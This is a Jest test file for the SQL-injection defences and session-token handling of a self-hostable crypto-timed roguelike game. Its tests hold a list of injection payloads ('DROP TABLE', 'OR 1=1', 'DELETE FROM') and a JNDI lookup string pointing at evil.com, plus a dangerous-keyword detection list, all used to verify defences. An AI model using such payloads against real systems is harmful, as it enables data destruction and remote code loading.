Files
jwinterm fad2a695bd Wownerogue
A browser-based roguelike synchronized with crypto block timing. A run is a race
against the next block: reach the exit before the block lands, or the house wins.
The same codebase runs the solo dungeon, the social Tavern, and operator-selected
PvP and race rulesets, with separate free and paid leaderboards.

Self-hostable under the MIT License. See README.md to run it, docs/ARCHITECTURE.md
for the design, and docs/DEPLOY.md to operate an instance.
2026-07-27 08:23:01 -04:00

455 lines
19 KiB
JavaScript

/**
* Security tests for SQL injection prevention
*
* Note: SessionManager tests use a mock database to avoid requiring a real DB connection.
* The DatabaseManager tests use the real DatabaseManager but skip tests if DB is not available.
*/
const DatabaseManager = require('../src/db/databaseManager');
const SessionManager = require('../src/network/sessionManager');
// Helper to create a mock database for SessionManager tests
function createMockDb() {
const users = new Map();
let nextId = 1;
return {
connected: true,
query: jest.fn(async (text, params = []) => {
// Simulate parameterized query behavior
if (text.includes('SELECT * FROM users WHERE anon_token')) {
const token = params[0];
const user = Array.from(users.values()).find(u => u.anon_token === token);
return { rows: user ? [user] : [] };
}
if (text.includes('SELECT * FROM users WHERE socket_id')) {
const socketId = params[0];
const user = Array.from(users.values()).find(u => u.socket_id === socketId);
return { rows: user ? [user] : [] };
}
if (text.includes('SELECT * FROM users WHERE id')) {
const id = params[0];
const user = users.get(id);
return { rows: user ? [user] : [] };
}
if (text.includes('INSERT INTO users')) {
const id = nextId++;
const newUser = {
id,
socket_id: params[0],
ip_address: params[1],
anon_token: params[2],
credits: 0,
payout_address: null,
created_at: new Date(),
last_seen: new Date()
};
users.set(id, newUser);
return { rows: [newUser] };
}
if (text.includes('UPDATE users') && text.includes('SET socket_id = $1') &&
text.includes('anon_token = $2') && text.includes('anon_token = $4')) {
const [socketId, newToken, userId, presentedToken] = params;
const user = users.get(userId);
if (!user || user.anon_token !== presentedToken) return { rows: [] };
user.socket_id = socketId;
user.anon_token = newToken;
user.last_seen = new Date();
return { rows: [{ ...user }] };
}
if (text.includes('UPDATE users SET socket_id')) {
const socketId = params[0];
const userId = params[1];
const user = users.get(userId);
if (user) {
user.socket_id = socketId;
user.last_seen = new Date();
}
return { rows: user ? [user] : [] };
}
if (text.includes('UPDATE users SET') && text.includes('WHERE id')) {
// Generic update - extract id from last param
const userId = params[params.length - 1];
const user = users.get(userId);
if (user) {
// Parse SET clause - simplified for test
if (text.includes('credits =')) {
const creditsIdx = params.findIndex((_, i) => text.includes(`credits = $${i + 1}`));
if (creditsIdx >= 0) user.credits = params[creditsIdx];
}
if (text.includes('payout_address =')) {
const addrIdx = params.findIndex((_, i) => text.includes(`payout_address = $${i + 1}`));
if (addrIdx >= 0) user.payout_address = params[addrIdx];
}
if (text.includes('anon_token =')) {
user.anon_token = params[0];
}
}
return { rows: user ? [user] : [] };
}
if (text.includes('SELECT') && text.includes('payments')) {
return { rows: [] }; // No pending payments
}
return { rows: [] };
}),
buildParameterizedQuery: (template, values) => {
// Real implementation from DatabaseManager
const params = [];
let paramIndex = 1;
const text = template.replace(/:([a-zA-Z_][a-zA-Z0-9_]*)/g, (match, name) => {
if (!(name in values)) {
throw new Error(`Missing parameter: ${name}`);
}
params.push(values[name]);
return `$${paramIndex++}`;
});
return { text, params };
},
safeQuery: async function(template, values) {
const { text, params } = this.buildParameterizedQuery(template, values);
return this.query(text, params);
},
queryValidator: {
isSafe: (query, params) => {
// Check for parameter count mismatch
const placeholders = (query.match(/\$\d+/g) || []);
const maxPlaceholder = placeholders.reduce((max, p) => {
const num = parseInt(p.substring(1));
return Math.max(max, num);
}, 0);
if (maxPlaceholder !== params.length) {
console.warn('⚠️ Parameter count mismatch in query');
return false;
}
// Check for dangerous keywords
const dangerousKeywords = ['DROP', 'TRUNCATE', 'DELETE FROM'];
for (const keyword of dangerousKeywords) {
if (query.toUpperCase().includes(keyword)) {
console.warn(`⚠️ Potentially dangerous keyword "${keyword}" in query`);
}
}
return true;
}
}
};
}
describe('SQL Injection Prevention', () => {
let db;
let realDb;
let sessionManager;
let dbAvailable = false;
beforeAll(async () => {
// Only attempt a real DB connection when a usable password is configured. Without one,
// node-postgres throws inside the SASL handshake *after* opening the TCP socket and
// orphans that socket (it survives pool.end()), which would keep Jest from exiting. A
// missing password simply means "DB not available" here, and these tests already fall
// back to mocks in that case.
const hasDbPassword = typeof process.env.DB_PASSWORD === 'string' && process.env.DB_PASSWORD.length > 0;
if (hasDbPassword) {
// Try to connect to real DB for DatabaseManager tests
realDb = new DatabaseManager();
await realDb.initialize();
// Check if connection was successful (initialize doesn't throw, it returns silently)
dbAvailable = realDb.connected === true;
}
if (!dbAvailable) {
console.log('⚠️ Database not available, DatabaseManager tests will use mocks');
}
// Use mock DB for SessionManager tests
db = createMockDb();
const mockDebugManager = {
CONSOLE_LOGGING: false
};
sessionManager = new SessionManager({
db: db,
debugManager: mockDebugManager,
gameModeManager: null
});
await sessionManager.initialize();
});
afterAll(async () => {
if (sessionManager) {
sessionManager.dispose();
}
// Always close the pool: initialize() creates it even when the connection fails, so
// gating on dbAvailable would leak the pg pool handle and keep Jest from exiting.
if (realDb) {
try { await realDb.close(); } catch (_) {}
}
});
describe('DatabaseManager Security', () => {
test('should reject queries with parameter mismatch', async () => {
if (!dbAvailable) {
// Use mock to test query validation logic
const mockValidator = db.queryValidator;
const isValid = mockValidator.isSafe('SELECT * FROM users WHERE id = $1 AND name = $2', [1]);
expect(isValid).toBe(false); // Should detect mismatch
return;
}
const badQuery = 'SELECT * FROM users WHERE id = $1 AND name = $2';
const params = [1]; // Missing second parameter
await expect(realDb.query(badQuery, params)).rejects.toThrow('Potentially unsafe query detected');
});
test('should safely build parameterized queries', () => {
// This test can use the mock db since buildParameterizedQuery is a pure function
const template = 'SELECT * FROM users WHERE id = :userId AND status = :status';
const values = { userId: 1, status: 'active' };
const { text, params } = db.buildParameterizedQuery(template, values);
expect(text).toBe('SELECT * FROM users WHERE id = $1 AND status = $2');
expect(params).toEqual([1, 'active']);
});
test('should handle missing parameters safely', () => {
// This test can use the mock db since buildParameterizedQuery is a pure function
const template = 'SELECT * FROM users WHERE id = :userId';
const values = {}; // Missing userId
expect(() => {
db.buildParameterizedQuery(template, values);
}).toThrow('Missing parameter: userId');
});
test('should execute safe queries using safeQuery helper', async () => {
// Use mock DB for this test
const template = 'SELECT COUNT(*) as count FROM users WHERE socket_id = :socketId';
const values = { socketId: 'test-socket-safe' };
const result = await db.safeQuery(template, values);
expect(result.rows).toBeDefined();
});
});
describe('SessionManager Security', () => {
test('should safely handle malicious token input', async () => {
const maliciousTokens = [
"'; DROP TABLE users; --",
"1' OR '1'='1",
"admin'--",
"' OR 1=1--",
"'; DELETE FROM users WHERE 1=1; --",
"UNION SELECT * FROM users--",
"${jndi:ldap://evil.com/a}"
];
for (const token of maliciousTokens) {
const result = await sessionManager.resumeOrCreate({
socketId: `test-socket-${Math.random()}`,
ipAddress: '127.0.0.1',
resumeToken: token
});
// Should create new user, not execute injection
expect(result.resumed).toBe(false);
expect(result.user).toBeDefined();
expect(result.token).toBeTruthy();
expect(result.token).not.toBe(token); // Should generate new token
}
});
test('should rotate the session token on resume (bearer-token replay protection)', async () => {
// Create a session to obtain a real token.
const created = await sessionManager.resumeOrCreate({
socketId: 'rotate-socket-1',
ipAddress: '127.0.0.1',
resumeToken: null
});
expect(created.resumed).toBe(false);
const firstToken = created.token;
expect(firstToken).toBeTruthy();
// Resume with that token: should succeed and hand back a DIFFERENT token.
const resumed = await sessionManager.resumeOrCreate({
socketId: 'rotate-socket-2',
ipAddress: '127.0.0.1',
resumeToken: firstToken
});
expect(resumed.resumed).toBe(true);
expect(resumed.token).toBeTruthy();
expect(resumed.token).not.toBe(firstToken); // rotated
// The OLD token must no longer resume (it was invalidated).
const replay = await sessionManager.resumeOrCreate({
socketId: 'rotate-socket-3',
ipAddress: '127.0.0.1',
resumeToken: firstToken
});
expect(replay.resumed).toBe(false);
});
test('concurrent resume is compare-and-swap: one wins, the loser is rejected, and stale live identity is disconnected', async () => {
const localDb = createMockDb();
const staleDisconnect = jest.fn();
const io = {
sockets: {
sockets: new Map([['cas-socket-old', { disconnect: staleDisconnect }]])
}
};
const manager = new SessionManager({
db: localDb,
debugManager: { CONSOLE_LOGGING: false },
gameModeManager: { creditsPerGameCost: 1 },
io
});
const created = await manager.resumeOrCreate({
socketId: 'cas-socket-old',
ipAddress: '127.0.0.1',
resumeToken: null
});
// Hold both SELECT-by-token calls until they have each observed the old token,
// forcing the race to be decided by the conditional UPDATE rather than timing.
const baseQuery = localDb.query;
let waitingSelects = 0;
let releaseFirstSelect;
localDb.query = jest.fn(async (text, params = []) => {
const result = await baseQuery(text, params);
if (text.includes('SELECT * FROM users WHERE anon_token') && params[0] === created.token) {
waitingSelects += 1;
if (waitingSelects === 1) {
await new Promise(resolve => { releaseFirstSelect = resolve; });
} else if (releaseFirstSelect) {
releaseFirstSelect();
}
}
return result;
});
const attempts = await Promise.allSettled([
manager.resumeOrCreate({
socketId: 'cas-socket-a',
ipAddress: '127.0.0.1',
resumeToken: created.token
}),
manager.resumeOrCreate({
socketId: 'cas-socket-b',
ipAddress: '127.0.0.1',
resumeToken: created.token
})
]);
const fulfilled = attempts.filter(r => r.status === 'fulfilled');
const rejected = attempts.filter(r => r.status === 'rejected');
expect(fulfilled).toHaveLength(1);
expect(fulfilled[0].value.resumed).toBe(true);
expect(rejected).toHaveLength(1);
expect(rejected[0].reason.code).toBe('SESSION_TOKEN_REPLAY');
expect(manager.sessions.has('cas-socket-old')).toBe(false);
await expect(manager.getBySocket('cas-socket-old')).resolves.toBeNull();
expect(staleDisconnect).toHaveBeenCalledWith(true);
});
test('should safely handle malicious socket ID', async () => {
const maliciousSocketId = "'; DROP TABLE users; --";
const result = await sessionManager.getBySocket(maliciousSocketId);
// Should return null, not execute injection
expect(result).toBeNull();
});
test('should safely update user with controlled fields', async () => {
// First create a test user
const testSession = await sessionManager.resumeOrCreate({
socketId: 'test-update-socket',
ipAddress: '127.0.0.1',
resumeToken: null
});
// Test safe updates
const safeUpdates = {
credits: 100,
payout_address: 'WW1234567890123456789012345678901234567890123456789012345678901234567890123456789012345',
};
await expect(sessionManager.updateUser(testSession.user.id, safeUpdates))
.resolves.not.toThrow();
// Test that dangerous fields are ignored
const dangerousUpdates = {
id: 999999, // Should be ignored
socket_id: "'; DROP TABLE users; --", // Should be ignored
credits: 50 // Should be allowed
};
await expect(sessionManager.updateUser(testSession.user.id, dangerousUpdates))
.resolves.not.toThrow();
// Verify only safe fields were updated
const updatedUser = await sessionManager.getBySocket('test-update-socket');
expect(updatedUser.credits).toBe(50);
expect(updatedUser.id).not.toBe(dangerousUpdates.id); // Should ignore malicious id change
expect(updatedUser.socket_id).toBe('test-update-socket');
});
test('should generate cryptographically secure tokens', () => {
const tokens = new Set();
// Generate 100 tokens and ensure they're all unique
for (let i = 0; i < 100; i++) {
const token = sessionManager.generateSecureToken();
expect(token).toBeTruthy();
expect(typeof token).toBe('string');
expect(token.length).toBeGreaterThan(40); // Base64url encoded 32 bytes should be 43+ chars
expect(tokens.has(token)).toBe(false); // Should be unique
tokens.add(token);
}
});
});
describe('Query Validation', () => {
test('should warn about dangerous keywords in non-migration context', () => {
const consoleSpy = jest.spyOn(console, 'warn').mockImplementation();
// This should trigger a warning but not block the query
const dangerousQuery = 'SELECT * FROM users; DROP TABLE test_table;';
const isValid = db.queryValidator.isSafe(dangerousQuery, []);
expect(isValid).toBe(true); // Still allows but warns
expect(consoleSpy).toHaveBeenCalledWith(
expect.stringContaining('Potentially dangerous keyword "DROP" in query')
);
consoleSpy.mockRestore();
});
test('should detect parameter count mismatches', () => {
const consoleSpy = jest.spyOn(console, 'warn').mockImplementation();
const isValid = db.queryValidator.isSafe('SELECT * FROM users WHERE id = $1 AND name = $2', [1]);
expect(isValid).toBe(false);
expect(consoleSpy).toHaveBeenCalledWith('⚠️ Parameter count mismatch in query');
consoleSpy.mockRestore();
});
});
});
module.exports = {
// Export for potential use in other test files
createTestUser: async (db) => {
const result = await db.query(
'INSERT INTO users (socket_id, ip_address, anon_token) VALUES ($1, $2, $3) RETURNING *',
['test-socket', '127.0.0.1', 'test-token']
);
return result.rows[0];
}
};